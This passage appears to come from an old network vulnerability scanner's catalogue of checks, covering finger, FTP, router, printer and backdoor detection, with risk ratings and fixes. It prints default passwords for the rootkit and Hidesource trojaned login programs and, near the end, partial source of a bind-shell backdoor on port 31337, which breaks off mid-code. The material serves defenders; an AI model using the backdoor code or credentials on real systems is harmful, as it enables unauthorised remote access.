NAI Security Advisory #15
http://www.nai.com/products/security/advisory/15_solaris_rpcbind_adv.asp
Sun security-alert-142
http://sunsolve.sun.com/sunsolve/secbulletins/security-alert-142.txt

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Authorization Intelligence

1035. Finger search.**@host check

Verbose Description
This check attempts to finger search.**@target-host and monitors output to discern if usernames are returned.

Security Concerns
cfingerd 1.32 and earlier will respond to this query by producing a list of usernames, which an attacker can then use for guessing passwords.

Suggestions
Don't run cfingerd. The author has publicly stated that he no longer wishes to maintain the cfingerd package, therefore it is no longer supported.

One distribution of fingerd can be obtained at:
ftp://coast.cs.purdue.edu/pub/tools/unix/fingerd/
Fingerd is usually run on of the inetd service. It is also a good idea to restrict access to fingerd as much as possible if practical. Tcp_wrappers allow you to filter by ip address and host/domain names. Tcp_wrapper can be obtained at:
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation

Impact of Attack: Intelligence

1036. WWW Web Server Version

Verbose Description
This module returns the version of WWW server running on the remote host, if it is available.

Security Concerns
Ensure that you are running the most current version of your web server software. An attacker can use the version information from your web server to determine if there are any known vulnerabilities present.

To see if your web server gives this information, from a telnet window, try telnetting to port 80 (or whatever port your web server is running on). Then issue a command such as:
GET / HTTP/1.0

The beginning of the reply from the server (in this case a proxy server) may have the server information in it, generally with a "Server:" heading line. In the case below, we see that the proxy server is version 3.5 of Netscape's proxy server.

HTTP/1.0 200 OK
Proxy-agent: Netscape-Proxy/3.5
Date: Fri, 18 Sep 1998 06:41:01 GMT
Accept-ranges: bytes
Last-modified: Fri, 31 Jul 1998 19:23:47 GMT
Content-length: 939
Content-type: application/x-ns-proxy-autoconfig

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

1037. "portmapper" or "rpcbind" RPC service present

Verbose Description
The portmapper service was found running on the target host. Since RPC services do not run on well known ports this service is used to map RPC services to the dynamic port numbers that they currently reside on. RPC client programs use this service when they make a connection to a remote RPC server.

Security Concerns
This service can be used to survey your hosts for vulnerable RPC services.

Suggestions
We suggest that you restrict access to this service at your router by adding filter rules that prevent outside access to any TCP or UDP port 111 on your internal network. Be aware that it is not necessary to be able to contact the portmapper service to make connections to RPC services. Specialised portscanning software can find RPC services without being able to make a connection to the portmapper.

References
See the Unix manual pages for the "portmap" (BSD based systems) or "rpcbind" (System V based systems) services.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization Intelligence

1038. S/Key Banner Check

Verbose Description
This check will determine if the S/Key one-time password authentication system is installed on the target machine.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: Low
Underlying Cause: N/A
Impact of Attack: N/A

1039. Ascend Configurator Identification Check

Verbose Description
Ascend Access Servers and Routers speak a protocol over the UDP "discard" port that allows the Ascend Java "Configurator" tool to locate Ascend equipment on a network automatically. An Ascend router will respond to any network user that sends a well-formed

Configurator packet with a response that includes the symbolic name of the router.

Attackers can use this to pick out Ascend equipment from a network (Ascend routers may be a specific target of attack, or may indicate further network connections), and to obtain the names of these routers (which may provide information on which to base password guesses).

Suggestions
Filter unnecessary ports (such as "discard", UDP/TCP 9) at a router.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Availability Intelligence

1040. Network Time Protocol server present

Verbose Description
An NTP server was found to be present on the target host. Many Network Time Protocol servers offer detailed information on their setup, including systems which they peer with, system memory configuration, and time statistics. This module obtains information from the remote NTP server using the NTP version 3 protocol and lists the information which can be obtained from the server. Information which can be obtained via NTP includes the following:

- System time statistics (uptime)
- System IO statistics
- System memory statistics
- Time daemon peer listing

Security Concerns
Ensure that you configure your NTP server to only allow authorized users to obtain critical setup information.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

1041. Trace route to host

Verbose Description
This module traces the route to the host being scanned in the same manner as the traceroute program in UNIX or the tracert program in Windows NT. The route information is stored to the network map file as well as being returned by the module. The network mapper uses this information to build a map of the network.

Security Concerns
By allowing traceroutes into your network from outside you allow detailed network maps to be derived from the information available. Targets for exploitation can be determined from these maps. This presents a strong enticement risk.

Suggestions
Block all unnecessary ICMP, UDP and TCP ports, and loose and strict source routed packets. This is usually accomplished with firewall and network routing technology. Protect your sensitive servers with such technology where possible.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A

Impact of Attack: **N/A**

2: FILE TRANSFER PROTOCOLS

2001. NULL Linux FTP backdoor check

Verbose Description
This module attempts gain root level FTP access to the target-host using a backdoor in some versions of wu-ftp.

Security Concerns
Some versions of wu-ftp contained a backdoor. When the string 'NULL' was used as a username the intruder gained root access to the ftp server.

Suggestions

If the scanner has found this vulnerability we suggest you disable your ftp daemon and get an updated version of ftpd.

If source code for your version of ftp is unavailable, you can pick up wu-ftp at:
ftp://ftp.academ.com/pub/wu-ftpd/private/ read the .message as it points to the latest version. You can not
browse the directory.

FTP can also be protected with tcp_wrappers. It is suggested that with this and any program that is to be run from the inetd daemon, that you install TCP wrappers, available at:
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/.
This tool lets you restrict by IP address and/or hostname whom is allowed to query the ftp daemon. This port will still be shown as active when port scanned, but will drop the connection without providing any information, if the host is not allowed to access the service. Tcp_wrappers also provide much more detailed information to the syslog service than the normal daemon. Because of this it is a good idea to install tcp_wrappers on any service that you want to run from inetd.

References
CERT Advisory CA-94:07.wuarchive.ftpd.trojan.horse
ftp://ftp.cert.org/pub/cert_advisories/CA-94:07.wuarchive.ftpd.trojan.horse
CIAC Advisory e-14.wuarchive.ftpd.trojan
ftp://ciac.llnl.gov/pub/ciac/bulletin/e-fy94/e-14.wuarchive.ftpd.trojan

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread

Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

2002. FTP - root directory writable

Verbose Description
This check determines whether the anonymous FTP root directory is either world writable or writable by the anonymous ftp account.

Security Concerns
A writable ftp home directory can in many situations make a complete remote compromise of the ftp host possible. Other possibilities include replacing or removing software from your server and the use of your server to store and traffic pirated software.

Suggestions
Only the system administrator account should have access to create files and directories in the ftp root directory.

Under a standard Unix configuration, the following commands will ensure that the FTP server is configured in this manner:

```
# chown root ~ftp
# chmod 755 ~ftp
```

References
CERT Advisory CA-93:10
ftp://ftp.cert.org/pub/cert_advisories/CA-93:10.anonymous.FTP.activity

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

2003. FTP - ports opened in sequential order

Verbose Description
The FTP server on the target host was found to open bound ports, utilized by the PASV feature, in sequential order.

Security Concerns
By opening ports in sequential order, it is easy for an attacker to predict the next port that the FTP service will use, and then connect to this port, retrieving another user's file.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Confidentiality Data Integrity

2004. Wu-FTP "site exec" check

Verbose Description
This module checks if it can execute system commands on an FTP server via the "site exec" command.

Security Concerns
If you are running a version of Wu-FTP before release 2.4 then you are vulnerable to the "site exec" hole. This will allow intruders to execute commands on the FTP server host. This also applies to versions of Wu-FTP which were ported to Linux and essentially any other FTP daemon written with Wu-FTP code, including some versions of DECWRL.

SUGGEST
Wu-FTP is UNIX free-ware and as such ships with source. It is possible configure your Wu-FTP daemon not to accept "site exec" commands, we suggest you do this is you plan to continue using Wu-FTP. If you are running a proprietary OS consider using their FTP software, or upgrade to a current version Wu-FTP.

Wu-ftp may be obtained at ftp://ftp.academ.com/pub/wu-ftpd/private/ please read the .message as it points to the latest version. You can not browse the directory.

References
CERT Advisory CA-95:16.wu-ftpd.vul
ftp://ftp.cert.org/pub/cert_advisories/CA-95:16.wu-ftpd.vul
CERT Advisory CA-94:08.ftpd.vulnerabilities
ftp://ftp.cert.org/pub/cert_advisories/CA-94:08.ftpd.vulnerabilities
CIAC Advisory e-17.ciac-ftp-daemon-vulns
ftp://ciac.llnl.gov/pub/ciac/bulletin/e-fy94/e-17.ciac-ftp-daemon-vulns

Risk Factor: High
Ease of repair: Moderate

Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

2005. FTP directories check

Verbose Description
The target host's FTP service was found to contain writeable directories.

Security Concerns
Allowing for write permissions via anonymous FTP can cause problems. It is not uncommon for remote users to use a site with writable directories as pirated software repositories.

Suggestions
If you must allow remote users write access to your FTP server, we suggest you carefully monitor the FTP server for possible abuse.

If using wu-ftp, the administrator can set up unique directories where files may be placed via anonymous ftp in /etc/ftpaccess. It is a good idea to give users only one directory where they may place files on the server, and configure ftpd so that they may not create any new directories. As permissions and owners of these files can be set in the /etc/ftpaccess file, it is also advised to change the owner and read permissions so that only an administrator, or person whose job it is to retrieve these files can see them and read them via ftp. This will lessen the likelyhood of your ftp server also acting as a Warez server as well. Warez is a term used for illegally copied software that may have had serial numbers etc. cracked.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Data Integrity Availability

2006. WFTP invalid password check

Verbose Description
This check searches for older versions of WFTP (a Windows based FTP server) which would allow access to the FTP server with any username and password. Files could then be downloaded that offer further information (enticements) that could lead to further exploits of the system.

Suggestions
If FTP service is not necessary for this computer, disable it. Where possible, protect it with TCP wrappers or built-in IP address access control. It is further suggest that you upgrade to the latest version of WFTP.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

2007. FTP - bounce attack

Verbose Description
The target host's FTP service was found to be vulnerable to the FTP bounce attack.

Security Concerns
The FTP bounce attack allows an attacker to redirect data through the vulnerable FTP service, allowing them to mask their origin. This is possible via the PORT command, which does not restrict which IP address and port number connections are made to from the FTP daemon.

References
CERT Advisory CA-97.27.FTP_bounce
ftp://ftp.cert.org/pub/cert_advisories/CA-97.27.FTP_bounce
Sun security-alert-156.txt
http://sunsolve.sun.com/sunsolve/secbulletins/security-alert-156.txt

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Accountability Authorization

2010. FTP - true path check

Verbose Description
The true home directory was obtained from the target host's FTP service.

Security Concerns
Most Unix FTP servers can be fooled into giving the true path to FTP's home directory by executing 'quote cwd' . Quite often attackers have access to machines through remote services where they can create files (i.e. the bugs in both rpc.ypupdated and rpc.statd allowed for this). A favorite is to create .rhosts files in user home directories. Many sites do not honor finger requests making it difficult to find a correct path. They can bypass this by coaxing your ftp server to give the user ftp's home directory.

Suggestions
You may wish to attempt to fix this in your version of FTP if you have source code. If not you may wish to make FTP home directory immutable which will prevent anyone from writing files to it.

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

2011. FTP - "RNFR" file deletion vulnerability

Verbose Description
The target host's FTP service was found to contain a vulnerability in the "RNFR" command which allows overwriting and removal of files. This vulnerability allows removal of files even when the FTP servers configuration prohibits this action.

Security Concerns
There is a vulnerability in some versions of WU-FTP which will allow anonymous FTP users to overwrite files that they would not normally have access to. The bug allows users to use the 'RNFR' command to rename files if two attempts are made.

Suggestions
We suggest that you upgrade wu-ftp to the most current version.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Data Integrity

2012. FTP file write permission check

Verbose Description
This check searches the anonymous FTP directory hierarchy for writable files.

Security Concerns
Having files writable on your FTP server can cause problems such as allowing your site to become a pirated software drop point.

Suggestions

Set permissions in the anonymous ftp directories so that the anonymous ftp account does not have permission to write to any files. If using wu-ftp, the administrator can set up unique directories where files may be placed via anonymous ftp in /etc/ftpaccess. It is a good idea to give users only one directory where they may place files on the server, and configure ftpd so that they may not create any new directories. As permissions and owners of these files can be set in the /etc/ftpaccess file, it is also advised to change the owner and read permissions so that only an administrator, or person whose job it is to retrieve these files can see them and read them via ftp. This will lessen the likelyhood of your ftp server also acting as a Warez server as well. Warez is a term used for illegally copied software that may have had serial numbers etc. cracked.

References
CERT Advisory CA-93:10
ftp://ftp.cert.org/pub/cert_advisories/CA-93:10.anonymous.FTP.activity

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Data Integrity Availability

2013. FTP chmod check

Verbose Description
This check attempts to exec the chmod command successfully in the FTP environment.

Security Concerns

Intruders could change the write permissions to the FTP root directory and gain further access in a worst case scenario. Other possibilities include a user being able to change permission to overwrite binaries (i.e.: ls) or changing permissions on files they should not be able to view or modify.

Suggestions
Anonymous ftp should never be able to chmod anything. Reconfigure your ftp to disallow this.

If using wu-ftp, the administrator can set up unique directories where files may be placed via anonymous ftp in /etc/ftpaccess. It is a good idea to give users only one directory where they may place files on the server, and configure ftpd so that they may not create any new directories. As permissions and owners of these files can be set in the /etc/ftpaccess file, it is also advised to change the owner and read permissions so that only an administrator, or person whose job it is to retrieve these files can see them and read them via ftp. This will lessen the likelyhood of your ftp server also acting as a Warez server as well. Warez is a term used for illegally copied software that may have had serial numbers etc. cracked.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

2014. FTP - GNU tar check

Verbose Description
The target host's FTP server was found to contain a version of GNU tar which allows command execution.

Security Concerns
By utilizing the "SITE EXEC" feature, it is possible to execute the "tar" command on the FTP server, and execute arbitrary commands.

Suggestions
It is suggested that you replace GNU tar with a less functional version of tar in your ftp executable directory.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread

Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

2016. FTP - NCSA ftpd check

Verbose Description
This check attempts to gain privileged access to older NCSA ftp servers.

Security Concerns
Older versions of the NCSA ftp server were shipped with poor configurations that allowed remote users to overwrite critical system files.

Suggestions
Obtain a new version of the NCSA FTP daemon.

References
CERT Advisory CA-91:15.NCSA.Telnet.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-91:15.NCSA.Telnet.vulnerability

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

2017. FTP - Windows NT Guest FTP

Verbose Description
The target Windows NT FTP service was found to have the "GUEST" account enabled by default. Older versions of Windows NT were distributed with this account present, and enabled by default.

Security Concerns
The GUEST account under Windows NT gives the GUEST user virtually full access to the file system via FTP. The account by default is not set to login under a chroot environment, nor does it have completely secure file permissions set.

Suggestions
It should be noted that Windows NT has two GUEST accounts. One FTP 'GUEST'

account, and one user account 'GUEST'. We suggest you disable the 'GUEST' account, or at least password it and ensure it's file access permissions are limited as well as it's file system access.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Accountability Data Integrity Authorization Intelligence

2018. FTP - PASV core dump check

Verbose Description
The target host's FTP server was found to be vulnerable to an attack utilizing the "PASV" FTP command. By initiating a connection to the FTP service, and issuing the "PASV" command prior to logging in, the FTP service crashes, leaving behind a "core" file on some operating systems.

Security Concerns
The ftp server will often write a world readable core file to the root directory of the filesystem when crashed in this manner. This core file is a memory image of the ftpd program and contains portions of the shadowed password file. This can allow other users on your system to obtain shadowed password information, which can in turn be cracked to obtain the logon password.

Suggestions
Contact your vendor for a fix. If a fix is not availible from your vendor you can use the following workaround to prevent any daemons spawned by inetd from causing core dumps.

Place the line "ulimit -c 0" into your system bootup scripts _before_ the line which starts inetd. This will prevent the FTP daemon from creating a core file and potentially exposing system account information.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

2019. FTP - argument core dump check

Verbose Description
The target host's FTP server was found to be vulnerable to an attack which is initiated by issuing a "LIST" command with a large number of arguments. By issuing this command, the FTP server crashes, leaving behind a "core" file on some operating systems.

Security Concerns
The ftp server will often write a world readable core file to the root directory of the filesystem when crashed in this manner. This core file is a memory image of the ftpd program and contains portions of the shadowed password file. This can allow other users on your system to obtain shadowed password information, which can in turn be cracked to obtain the logon password.

Suggestions
Contact your vendor for a fix. If a fix is not availible from your vendor you can use the following workaround to prevent any daemons spawned by inetd from causing core dumps.

Place the line "ulimit -c 0" into your system bootup scripts _before_ the line which starts inetd. This will prevent the FTP daemon from creating a core file and potentially exposing system account information.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

2021. FTP - quote "CWD ~root" vulnerability

Verbose Description
This module tests for the CWD ~root bug, as described in the paper "Improving the Security of Your Site by Breaking Into it" by Dan Farmer and Weiste Venema. The ftp server bug allows remote individuals to obtain root access.

Suggestions
Contact your vendor for a fix, and consider upgrading to a more recent operating system.

References

Improving the Security of Your Site by Breaking Into it
http://www.alw.nih.gov/Security/Docs/admin-guide-to-cracking.101.html

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

2024. FTP - password file contains hashes

Verbose Description
The target FTP server's password file was found to contain encrypted password hashes which could be cracked by an attacker.

Security Concerns
If your anonymous ftp directory contains a real password file with actual encrypted password information, any anonymous ftp user can retrieve this file and attempt to use dictionary cracking software on your passwords.

Suggestions
We suggest that you replace the anonymous ftp passwd with a password file that only contains the few entries needed so that the ls command can map file ownership UIDs to usernames. No passwords are necessary in this file because it is never used for authentication.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: **Confidentiality Authorization Intelligence**

3: HARDWARE PERIPHERALS

3001. Unpassworded laser jet printer check

Verbose Description

Having a laser jet printer without a password will allow remote users/intruders to modify its configuration which can result in a denial of service attack.

Suggestions
If TCP/IP network access is necessary for the configuration of this printer, enable the access password to the configuration menu. If your printer is TCP/IP network access is not necessary for your printer, unconfigure the TCP/IP configuration.

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

3002. Unpassworded Gatorboxes check

Verbose Description
Caymen Systems manufactures a hardware device called a gatorbox for bridging ethernet segments and appletalk networks. By default, a gatorbox is shipped with no password. This check determines if the target-host is an unpassworded gatorbox.

Security Concerns
Having an unpassworded gatorbox allows a remote user/intruder to manipulate configuration information. In some models it is possible to directly access RAM on the gatorbox with this type of access.

Suggestions
Place a password on your gatorbox.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Obscure

Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

3003. Portmaster default password check

Verbose Description
Livingston Portmaster default password check

A Livingston Portmaster is a network device for central sites with remote access and point-of-presence (POP) in-a-box applications. So, it is often used with PPP dialup access for ISP with modems, ISDN, CSU/DSUs, and for routing purposes.

Livingston Portmaster comes configured with a default password of !root, if this has not been changed a remote user/intruder can reconfigure your Portmaster.

This will result in a denial of service, should the Portmaster be configured to fail. If remote users/intruders misconfigure the routing for this network device, then more subtle mischief can be accomplished which would put the data communications through this device at risk.

The Portmaster password can be configured to up to 15 printable, nonspace, ASCII characters. Filters can also be set to restrict access to this interactive login service.

Information for Livingston Portmasters is available from
http://www.livingston.com/
with online manuals available in their Technical Support section
Indexed Portmaster Users mailing list archives are available at
http://www.dataman.nl/cgi-bin/portmaster. A hypermail interface to the Portmaster Users mailing list going back to August 1995 is available at
http://www.n2h2.com/livingston/portmaster-users/

Suggestions
Change the password on your Portmaster.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

3006. Ascend Port 150 Check

Verbose Description
Ascend Port 150 Check

Ascend provides networking equipment: IP routers and multi-protocol bridges which connect over ISDN (switched-56 and frame relay, also).

Recent versions of Ascend's access server add an option for remote administration via TCP port 150. Attackers can use this service to guess passwords against the router, potentially allowing them to gain remote access to the router without being logged.

To disable remote management, open the System Profile and set the Remote Management parameter to No.

Ascend maintains a web site at http://www.ascend.com. There is technical documentation available for their products at ftp://ftp.ascend.com/pub/Doc/

Suggestions
Disable "remote administration" in the terminal server configuration.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: N/A
Attack Complexity: N/A
Underlying Cause: N/A
Impact of Attack: N/A

3007. HP Printer Remote Print Check

Verbose Description
HP Printer Remote Print Check

HP printers that are configured for remote network printing over IP listen for requests on port 9099 and 9100. Unauthorized clients can send raw postscript files to these ports and cause their contents to be printed, regardless of the permissions set on the printer's LPD service. If the printer is being relied on for hard-copy of security auditing logs, an attacker can disable the printer by flooding it with requests, avoiding hard-copy audit trails.

Also, it is possible to telnet to the printer and change the printer IP or disable logging. It is possible to restrict the printer to accept connection from either a short list of IP addresses or a subnet range.

Suggestions

Protect the printer with with packet filtering for ports 9099 and 9100 where possible.

To restrict access by IP or subnet range in the printer itself, you must boot the printer via BOOTP. If you configure the printer via the front panel, this is not possible. A vendor version of the bootpd that supports vendor extensions is needed. All information on configuring this should be available in the documentation for the JetAdmin software (Unix).

A thread of discussion of this information is available from the bugtraq mailing list (Oct 1997).

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Accountability Authorization Availability

3008. Ascend SNMP/TFTP Configuration File Retrieval

Verbose Description
Ascend SNMP/TFTP Configuration File Retrieval

Ascend router and access server platforms are remotely manageable via the SNMP protocol. The Ascend hooks for SNMP management include the capability to download and upload the entire configuration of the router as a text file. Ascend configuration files include the plaintext passwords to the router, as well as usernames, passwords, and phone numbers for outgoing connections.

The attack works by using SNMP "set" commands to initiate a TFTP transfer of the config file (using the Ascend "sysConfigTftp" MIB extension). If the attacker can execute SNMP "set" commands against the router, the configuration file can be retrieved and sensitive information compromised.

This module attempts to determine whether the probed host is vulnerable to the attack without actually carrying it out. This is done by setting an arbitrary SNMP variable using an SNMP "set" command. This check may be preferable to the full check when time, bandwidth, or disk space is limited; Ascend configuration files can be quite large.

Suggestions
Ensure that the SNMP "write" community on the Ascend router is not guessable. SNMP community strings are the equivalent to

passswords.

Note that users of an Ascend router that do not have full access can obtain the SNMP "write" community via the menu interface, and thus carry this attack out; ensure that only authorized users have access to the menu interface by setting an unguessable telnet password, and turning off "Edit System" and "Edit Security" access in the default user profile.
Passwords and community strings used to access this information are being transmitted in the clear across the network. So, disable this functionality if it is not necessary.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: System Integrity

3009. Ascend SNMP/TFTP Configuration File Retrieval (full)

Verbose Description
Ascend SNMP/TFTP Configuration File Retrieval (full)

Ascend router and access server platforms are remotely manageable via the SNMP protocol. The Ascend hooks for SNMP management include the capability to download and upload the entire configuration of the router as a text file. Ascend configuration files include the plaintext passwords to the router, as well as usernames, passwords, and phone numbers for outgoing connections.

The attack works by using SNMP "set" commands to initiate a TFTP transfer of the config file (using the Ascend "sysConfigTftp" MIB extension). If the attacker can execute SNMP "set" commands against the router, the configuration file can be retrieved and sensitive information compromised.

This module attmepts to determine whether the probed host is vulnerable to the attack without actually carrying it out. This is done by setting an arbitrary SNMP variable using an SNMP "set" command. This check may be preferable to the full check when time, bandwidth, or disk space is limited; Ascend configuration files can be quite large.

Suggestions
Ensure that the SNMP "write" community on the Ascend router is not guessable. SNMP community strings are the equivalent to passswords.

Note that users of an Ascend router that do not have full access can obtain the SNMP "write" community via the menu interface, and thus carry this attack out; ensure that only authorized users have access to the menu interface by setting an unguessable telnet password, and turning off "Edit System" and "Edit Security" access in the default user profile.
Passwords and community strings used to access this information are being transmitted in the clear across the network. So, disable this functionality if it is not necessary.

To set a password on your Ascend equipment:

1. Go to the Ethernet > Mod Config > Ether Options menu
2. Select Telnet PW=
3. Enter a password of up to 20 characters in length
4. Close the Ethernet profile.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Configuration
Impact of Attack: System Integrity

3010. Unpassworded Ascend router check

Verbose Description
Unpassworded Ascend router check

Ascend products are shipped with no telnet password set. Having an Ascend router without a password allows remote users/intruders to read or modify its configuration, and may allow them to sniff or redirect traffic or launch attacks on other machines from the equipment.

Suggestions
Set a password on your Ascend equipment:

1. Go to the Ethernet > Mod Config > Ether Options menu
2. Select Telnet PW=
3. Enter a password of up to 20 characters in length
4. Close the Ethernet profile.

and turning off "Edit System" and "Edit Security" access in the default user profile.

Risk Factor: High

Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

3011. Unpassworded Netopia router check

Verbose Description
Unpassworded Netopia router check

Netopia products are shipped with no telnet password set. Having a Netopia router without a password allows remote users/intruders to read or modify its configuration.

Suggestions
Set a password on your Netopia equipment. This can be accomplished through its configuration menu.

Newer versions of Netopia include:
-Security Menu
-Select/options
-Password protect security menu
-Password protect console access (New)
-Block TELNET console access
-Block TELNET SNMP access
-10 minute idle time

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: **System Integrity**

4: BACKDOORS AND MISCONFIGURATIONS

4001. 'Rootkit' check

Verbose Description
'Rootkit' is the name of a popular collection of trojaned OS utilities that are used by hackers to backdoor a compromised host. There is the original rootkit, as well as versions specifically for SunOS and Linux.

This check attempts to identify a trojan /bin/login program by testing the default 'rootkit' username and password.

Security Concerns
If your /bin/login program has been replaced with a trojan version, it is very likely that your system has been completely compromised and that other OS programs and utilities have also been replaced.

The default username and password used to determine the existance of rootkit are:
login: "root" password: "D13HH["

newer versions include root passwords of "whOOt!"

Suggestions
If you believe that your system has been compromised, follow your company's security incident response procedures.

This may include:
- contacting the CERT Coordination Center (http://www.cert.org),
- following procedures outlined at that web site: "Steps for Recovering from a UNIX Root Compromise," ftp://ftp.cert.org/pub/tech-tips/root_compromise
- or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

References
AUSCERT Alert AL-95.01.Ongoing.Network.Monitoring.Attacks
ftp://ftp.auscert.org.au/pub/auscert/advisory/AL-95.01.Ongoing.Network.Monitoring.Attacks

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: N/A

Underlying Cause: Configuration
Impact of Attack: System Integrity

4002. 'Hidesource' check

Verbose Description
'Hidesource' is the name of a popular collection of trojaned SunOS utilities that are used by hackers to backdoor a compromised host. Like the 'rootkit' trojan horse collection, this is a collection of utilities that replace system utilities (e.g. the login program) with versions that contain a "backdoor."

This check attempts to identify a trojan /bin/login program by testing the default 'Hidesource' username and password.

Security Concerns
If your /bin/login program has been replaced with a trojan version, it is very likely that your system has been completely compromised.

The default username and password used to determine the existance of Hidesource are:
login: "wank" password: "wank"

Suggestions
There is a strong indication that this system may have been compromised.

If you believe that your system has been compromised, follow your company's security incident response procedures.

This may include:
- contacting the CERT Coordination Center (http://www.cert.org),
- following procedures outlined at that web site: "Steps for Recovering from
a UNIX Root Compromise," ftp://ftp.cert.org/pub/tech-tips/root_compromise
- or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: N/A
Underlying Cause: Configuration
Impact of Attack: System Integrity

4004. Port daemon check

Verbose Description

This particular check scans your machine for port daemons installed by attackers. One popular program, the socdmini that was written by pluvius@io.org, is a program that accepts semicolon terminated commands and executes them on the running system.

Security Concerns

A popular back-door for attackers is a port daemon which spawns a shell for remote users. Fortunately such daemons are often left on predictable ports, such as port 31337 for instance. The more popular program, socdmini which that was written by pluvius@io.org, is an example of this.

Suggestions

If you believe that your system has been compromised, follow your company's security incident response procedures.

This may include:

- contacting the CERT Coordination Center (http://www.cert.org),
- following procedures outlined at that web site: "Steps for Recovering from a UNIX Root Compromise," ftp://ftp.cert.org/pub/tech-tips/root_compromise
- or contacting your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info/)

Use the standard Unix 'ps' and 'netstat' commands to verify the process or the publicly available 'lsof' command to identify the program file that is bound to socket 31337.

Here is the example source code for the socdmini program that may be the port serving application:

```
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org                                              */
/* don't forget.. when you connect to the port.. commands are like:    */
/* "ls -l;" or "exit;" (don't forget the ';')                          */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main ()  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr =
htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr
*)
